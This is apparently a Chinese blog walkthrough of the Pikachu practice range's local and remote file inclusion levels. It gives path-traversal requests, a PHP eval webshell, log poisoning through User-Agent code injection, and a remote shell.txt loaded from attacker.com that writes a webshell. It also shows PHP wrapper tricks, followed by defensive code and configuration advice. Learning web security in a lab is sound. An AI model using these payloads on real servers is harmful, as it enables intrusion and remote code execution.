从零开始:Pikachu靶场文件包含漏洞通关全记录(含避坑指南)
1. 文件包含漏洞基础认知
第一次接触文件包含漏洞时,我盯着那个简单的下拉菜单看了足足十分钟。这个看似无害的功能,背后竟隐藏着如此巨大的安全隐患。文件包含漏洞的本质,是程序在动态加载文件时,未对用户控制的文件路径进行严格校验,导致攻击者能够读取或执行非预期文件。
核心区分点在于包含范围:
- 本地文件包含(LFI):仅能操作服务器本地文件
- 远程文件包含(RFI):可通过URL加载远程服务器文件
PHP中常见的危险函数包括:
include()
require()
include_once()
require_once()
这些函数的差异主要体现在错误处理上:
include遇到错误仅产生警告require会直接终止脚本执行_once后缀确保文件只被包含一次
关键配置项:
allow_url_include=On(允许远程包含)
allow_url_fopen=On(允许访问远程文件)
2. 环境准备与靶场搭建
工欲善其事,必先利其器。在开始实战前,需要准备好以下环境:
- PHPStudy集成环境(含Apache+MySQL+PHP)
- Pikachu靶场源码(解压至WWW目录)
- Burp Suite社区版(用于抓包分析)
- 蚁剑或中国菜刀(Webshell管理工具)
常见安装问题排查表:
| 问题现象 | 可能原因 | 解决方案 |
|---|---|---|
| 访问靶场报500错误 | PHP版本过高 | 切换至PHP5.4-7.0版本 |
| 文件包含功能异常 | allow_url_include未开启 | 修改php.ini配置 |
| 中文乱码 | 字符编码不匹配 | 添加header('Content-Type:text/html;charset=utf-8'); |
配置完成后,访问http://localhost/pikachu应该能看到如下目录结构:
/vul
/fileinclude
fi_local.php
fi_remote.php
/unsafeupload
/uploads
3. 本地文件包含实战演练
3.1 基础文件读取
访问fi_local.php页面,发现是一个球星信息展示功能。通过Burp抓包可见请求格式:
GET /vul/fileinclude/fi_local.php?filename=file1.php&submit=提交查询
尝试修改参数进行路径穿越:
GET /vul/fileinclude/fi_local.php?filename=../../../../windows/win.ini%00
注意:%00截断需PHP版本<5.3且magic_quotes_gpc=off
3.2 结合文件上传getshell
- 在文件上传页面传马(内容:
<?php @eval($_POST['cmd']);?>) - 记住上传路径:
/unsafeupload/uploads/shell.php - 构造包含Payload:
GET /vul/fileinclude/fi_local.php?filename=../../../unsafeupload/uploads/shell.php&submit=提交查询
3.3 日志文件包含技巧
当常规方法失效时,可尝试包含Apache日志:
GET /vul/fileinclude/fi_local.php?filename=../../../../logs/access.log
然后在User-Agent中插入PHP代码:
<?php system($_GET['cmd']); ?>
4. 远程文件包含高阶利用
4.1 基本RFI利用
- 在公网服务器创建
shell.txt:
<?php fputs(fopen("shell.php","w"),'<?php @eval($_POST["x"])?>'); ?>
- 构造攻击URL:
GET /vul/fileinclude/fi_remote.php?filename=http://attacker.com/shell.txt&submit=提交查询
4.2 PHP伪协议妙用
当远程包含被禁用时,这些协议可能奏效:
1. php://filter读取源码
GET /vul/fileinclude/fi_local.php?filename=php://filter/convert.base64-encode/resource=fi_local.php
2. data://直接执行代码
POST /vul/fileinclude/fi_local.php?filename=data://text/plain,<?php phpinfo();?>&submit=提交查询
3. expect://命令执行(需安装expect扩展)
GET /vul/fileinclude/fi_local.php?filename=expect://whoami
5. 靶场通关全流程演示
5.1 Pikachu-Local
- 常规文件读取:
GET /vul/fileinclude/fi_local.php?filename=file1.php
- 敏感文件泄露:
GET /vul/fileinclude/fi_local.php?filename=../../../../etc/passwd
- 结合上传getshell(如3.2节)
5.2 Pikachu-Remote
- 远程包含创建Webshell:
GET /vul/fileinclude/fi_remote.php?filename=http://yourvps/shell.txt
- 使用蚁剑连接:
URL: http://localhost/pikachu/vul/fileinclude/shell.php
密码:x
6. 防御方案与最佳实践
6.1 代码层防护
// 白名单校验
$allowed = ['about.php','contact.php'];
if(!in_array($file, $allowed)){
die("非法请求!");
}
// 固定后缀
include($_GET['file'].'.html');
// 路径校验
if(strpos($_GET['file'], '../') !== false){
die("路径非法!");
}
6.2 服务器配置
- php.ini关键设置:
allow_url_include = Off
allow_url_fopen = Off
open_basedir = /var/www/html
- Web服务器加固:
# Apache配置
<Directory "/var/www">
php_admin_value open_basedir "/var/www/html"
</Directory>
6.3 运维建议
- 定期更新PHP版本
- 设置严格的目录权限
- 监控包含函数的调用日志
- 使用WAF拦截../等特殊字符
7. 疑难问题排查指南
Q1:包含文件时报Warning但未执行 A:检查文件权限,确保Web用户有读取权限
Q2:远程包含返回空白页 A:检查服务器出站连接是否被防火墙拦截
Q3:%00截断无效 A:确认PHP版本是否低于5.3,且magic_quotes_gpc=Off
Q4:伪协议不生效 A:检查php.ini中对应协议是否启用,如allow_url_fopen
在真实渗透测试中,文件包含往往需要结合其他漏洞才能发挥最大威力。记得去年在某次授权测试中,就是通过CMS的LFI漏洞读取到数据库配置文件,最终拿下了整个内网权限。这也提醒我们,安全防护必须做到全方位、无死角。
1237



被折叠的 条评论
为什么被折叠?



